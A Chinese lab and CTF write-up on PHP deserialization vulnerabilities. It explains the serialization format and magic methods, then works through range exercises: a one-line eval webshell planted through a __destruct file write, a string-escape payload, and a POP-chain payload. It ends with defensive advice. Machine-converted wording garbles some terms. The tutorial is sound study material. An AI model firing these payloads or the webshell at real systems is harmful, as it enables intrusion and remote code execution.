反序列化概述
序列化(serialize):把对象转化为字节序列的过程,既把对象转化为可以存储或传输的数据的过程,在网络传输的过程中,可以是字节或XML等格式。
反序列化(unserialize):把字节序列规复为对象的过程,既把可以存储或传输的数据转化为对象的过程。
反序列化攻击:攻击者控制了序列化后的数据,将有害数据通报到应用程序代码中,发动针对应用程序的攻击。
例:
O:4:"demo":表现这是一个对象,对象的类名长度为 4 个字符(这里是 "demo")。
3::表现该对象有 3 个属性。
s:4:"name":s 表现字符串范例,4 表现字符串 "name" 的长度为 4 。
s:8:"zhangsan":s 表现字符串范例,8 表现字符串 "zhangsan" 的长度为 8 ,即该属性 "name" 的值为 "zhangsan"。
s:3:"age":s 表现字符串范例,3 表现字符串 "age" 的长度为 3 。
i:18:i 表现整型,18 即属性 "age" 的值为 18 。
s:6:"height":s 表现字符串范例,6 表现字符串 "height" 的长度为 6 。
i:200:i 表现整型,200 即属性 "height" 的值为 200 。
魔术方法
魔术方法(Magic Method)就是指全部以__(两个下划线)开头的类的方法。在某些条件下主动执行会导致反序列化毛病。
魔术方法包括:
- __construct(),类的构造函数,函数在对象创建时调用反序列化的过程不是被创建的过程,而是通过读取对象的字节流来规复对象的状态的过程。在某些情况下(如:使用特定的序列化机制或框架),可能会间接触发构造函数的调用,但不是反序列化的一部分;
- __destruct(),类的析构函数;
- __call(),在对象中调用一个不可访问方法时调用;
- __callStatic(),用静态方式中调用一个不可访问方法时调用;
- __get(),获得一个类的成员变量时调用;
- __set(),设置一个类的成员变量时调用;
- __isset(),当对不可访问属性调用isset()或empty()时调用;
- __unset(),当对不可访问属性调用unset()时被调用;
- __sleep(),执行serialize()时,先会调用这个函数;
- __wakeup(),执行unserialize()时,先会调用这个函数;
- __toString(),类被当成字符串时的回应方法;
- __invoke(),调用函数的方式调用一个对象时的回应方法;
- __set_state(),调用var_export()导出类时,此静态方法会被调用;
- __clone(),当对象复制完成时调用;
- __autoload(),尝试加载未定义的类;
- __debugInfo(),打印所需调试信息。
序列化出现场景和攻击方式
序列化出现场景
- 远程和历程间通信(RPC/IPC);
- 连线协议、Web服务、消息代理;
- 缓存/持久性存储区;
- 数据库、缓存服务器、文件体系;
- HTTP cookie、HTML表单参数、API身份验证令牌。
攻击方式
- 构造恶意输入:使用应用程序的反序列化功能,发送颠末精心构造的恶意数据;
- 使用已知毛病:针对特定框架或库的已知反序列化毛病举行攻击。
反序列化毛病成因
序列化和反序列化本身并不存在问题。反序列化毛病的主要原理是应用程序在反序列化过程中没有对传入的数据举行足够的验证和过滤,导致攻击者可以使用构造的恶意序列化数据来执行任意代码或远程代码执行攻击。
反序列化毛病的举例使用
iwebsec靶场
01-反序列化毛病示例01
- <?php
- require_once('../../header.php');
- ?>
- <html>
- <head>
- <title>反序列化漏洞</title>
- </head>
- <h2>反序列化漏洞</h2>
- <div class="alert alert-success">
- <p>/index.php?re=hello </p >
- </div>
- <body>
- <?php
- highlight_file(__FILE__);
- class a {
- var $test = 'hello';
- function __destruct(){
- $fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
- fputs($fp,$this->test);
- fclose($fp);
- }
- }
- $class = stripslashes($_GET['re']);
- $class_unser = unserialize($class);
- require '/var/www/html/vuln/unserialize/01/hello.php';
- require_once '../../footer.php';
- ?>
复制代码 分析存在反序列毛病的缘故原由:
- 1、unserialize的参数$class可控,$class可以通过url的get参数re获取到;
- 2、存在__destruct函数可以将$test的值写入hello.php文件中,所以可以使用该函数将PHP 代码传入hello.php文件中。
在WWW中新建'slevel1.php',输入'一句话木马内容(<?php @eval($_POST[abc])?>)',木马的连接参数为'abc',在欣赏器中执行,得到'O:1:"a":1:{s:4:"test";s:26:"";}'。
slevel1.php文件内容
- <?php
- class a{
- var $test = '<?php @eval($_POST[abc])?>';
- }
- $a = new a();
- $class_ser = serialize($a);
- print_r($class_ser);
- ?>
复制代码 输入并执行
- http://192.168.133.134/unserialize/01/index.php/?re=O:1:”a”:1:{s:4:”test”;s:26:”<?php @eval($_POST[abc])?>”;}
-
复制代码 打开蚁剑,测试连接,发现没有连接成功;
留意:在docker容器中并不存在/var/www/html/vuln/unserialize/01/hello.php文件,真实的路径为/var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为精确的路径(要写绝对路径,不可以是相对路径),保存;
docker ps(列出当前正在运行的容器的信息);
docker exec -it bc23 /bin/bash(进入docker容器);
-it:这是两个参数的组合,-i 表现以交互模式(interactive)运行容器,允许你与容器内的下令行举行交互输入输出;-t 则是分配一个伪终端(tty),让交互操作看起来更像在常规的终端情况下举行,通常这两个参数共同使用来进入交互式的容器操作场景;
文件修改(按i :编辑 按esc :退出编辑 :wq :保存)。
修改之前
hello.php文件内容
修改之后
hello.php文件内容
刷新一下欣赏器,执行
- http://192.168.133.134/unserialize/01/index.php?re=O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[abc])?>";}
复制代码 打开蚁剑,测试连接,连接成功,检察文件。
php-SER-libs-main反序列化靶场
php-SER-libs-main level8(增量逃逸)
- <?php
- highlight_file(__FILE__);
- function filter($name){
- $safe=array("flag","php");
- $name=str_replace($safe,"hack",$name);
- return $name;
- }
- class test{
- var $user;
- var $pass='daydream';
- function __construct($user){
- $this->user=$user;
- }
- }
- $param=$_GET['param'];
- $profile=unserialize(filter($param));
- if ($profile->pass=='escaping'){
- echo file_get_contents("flag.php");
- }
- ?>
复制代码 建一个level8.php,欣赏器执行,得到O:4:"test":2:{s:4:"user";s:4:"pass";s:8:"daydream";}。
level8.php文件内容
- <?php
- function filter($name){
- $safe=array("flag","php");
- $name=str_replace($safe,"hack",$name);
- return $name;
- }
- class test{
- var $user;
- var $pass='daydream';
- function __construct($user){
- $this->user=$user;
- }
- }
- $a=new test('');
- echo serialize($a);
- ?>
复制代码 在level8.php中,";s:4:"pass";s:8:"escaping";} 放在$a=new test(‘’);中,欣赏器执行,得到O:4:"test":2:{s:4:"user";s:29:"";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}。
level8.php文件内容
- <?php
- function filter($name){
- $safe=array("flag","php");
- $name=str_replace($safe,"hack",$name);
- return $name;
- }
- class test{
- var $user;
- var $pass='daydream';
- function __construct($user){
- $this->user=$user;
- }
- }
- $a=new test('";s:4:"pass";s:8:"escaping";}');
- echo serialize($a);
- ?>
复制代码 分析:$name=str_ replace($safe,hack,$name);$safe=array("flag""php)可以知道会将$name参数里面的全部的flag或者php全部替换为hack。str_replace函数会将29个php替换为29个hack,会多出来29个字母,我们要确保它逃逸也就是替换后多出来的字符与原字符同等,每增加一个字母,就要写一个php,PHP的特性反序列化以;}结束,后面的字符串不影响正常的反序列化,可以到场构造的序列来执行恶意代码。
下令(在欣赏器中执行):
- http://127.0.0.1/web/php-SER/level8?param=O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"daydream";}
复制代码 右击检察源代码 ,最终的flag:
php-SER-libs-main level9(pop链构造)
- <?php
- //flag is in flag.php
- highlight_file(__FILE__);
- class Modifier {
- private $var;
- public function append($value)
- {
- include($value);
- echo $flag;
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
- class Show{
- public $source;
- public $str;
- public function __toString(){
- return $this->str->source;
- }
- public function __wakeup(){
- echo $this->source;
- }
- }
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
- if(isset($_GET['pop'])){
- unserialize($_GET['pop']);
- }
- ?>
复制代码 分析:
__invoke()调用函数的方式调用一个对象时的回应方法,当一个类被当做函数时执行;
__toString()是主动被调用的,是在直接输出对象引用时主动调用的。当一个类被当做字符串处置惩罚时执行,__toString()方法一定要有个返回值(return 语句);
__wakeup(),执行unserialize()时,先会调用这个函数;
__get()当读取或访问不可访问或不存在的值时执行;
在php中,isset()是一个函数,用于查抄变量是否已设置而且不为null。假如变量存在而且不为null,则返回true,否则返回false;
可以使用wakeup()函数内的语句触发我们的toString(),然后toString()触发construct(),construct()会触发get($key)。使用get($key)触发我们的invoke(),然后我们的invoke()就会调用append($value)执行输出flag的举动。
建一个level9.php,欣赏器执行
level9.php文件内容
- <?php
- class Modifier {
- private $var='flag.php';
- public function append($value)
- {
- include($value);
- echo $flag;
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
- class Show{
- public $source;
- public $str;
- public function __toString(){
- return $this->str->source;
- }
- public function __wakeup(){
- echo $this->source;
- }
- }
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
- $a=new Modifier();
- $b=new Show();
- $c=new Test();
- $b->source=$b;//__toString()当一个类被当做字符串处理时执行
- $b->source->str=$c;#$b->str=$c//__get()当读取或访问不可访问或不存在的值时执行
- $c->p=$a;//__invoke()当一个类被当做函数时执行
- var_dump($b);
- echo serialize($b);
- ?>
复制代码
右击检察页面源代码
分析:Private(私有的)类名,成员名前会加%00。大写S表现对象的属性名是被一个被\00(NULL)填充的字符串用\00来替换%00,小写s表现对象的属性名是一个普通字符串。
下令(在欣赏器执行):
- http://127.0.0.1/web/php-SER/level9?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{S:13:"\00Modifer\00var";s:8:"flag.php";}}}
复制代码 最终的flag:
反序列化毛病的修复
怎样防御
- 避免使用Java原生序列化:使用更安全的序列化方法,例如JSON或XML,这些格式不容易受到此类攻击;
- 输入验证:对反序列化的数据举行严格的输入验证;
- 使用白名单:只允许特定的类举行反序列化。
防护措施
- 输入验证:对全部反序列化数据举行严格的输入验证;
- 最小化使用:只管镌汰序列化和反序列化的使用;
- 使用安全的库和方法: 选择具有精良安全记载的库,并保持更新;
- 权限最小化:确保应用程序以最小的须要权限运行。
修复方法
- 更新和修补:更新应用程序和库到最新版本,修补已知的毛病;
- 代码审计:对代码举行安全审计,查找和修复潜在的反序列化问题;
- 使用安全配置:使用安全配置选项来限定反序列化操作;
- 最有效的方法是不担当来自不受信托源的序列化对象或者只使用原始数据范例的序列化,但这不容易实现;
- 完备性查抄,如:对序列化对象举行数字署名,以防止创建恶意对象或序列化数据被篡改;
- 在创建对象前强制执行范例约束,因为用户的代码通常被期望使用一组可定义的类;
- 记载反序列化的失败信息。好比传输的范例不满意预期要求或者反序列化异常情况,因为这有可能是攻击者的攻击尝试。
总结
结果展示了反序列化毛病的危害,防护措施相对较弱,容易受到攻击,为了提高安全性,可以加强防护措施,如:更新和修补:更新应用程序和库到最新版本,修补已知的毛病;代码审计:对代码举行安全审计,查找和修复潜在的反序列化问题;使用安全配置:使用安全配置选项来限定反序列化操作;最有效的方法是不担当来自不受信托源的序列化对象或者只使用原始数据范例的序列化,但这不容易实现等等。测试可以辨认和修复毛病,提高安全性。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |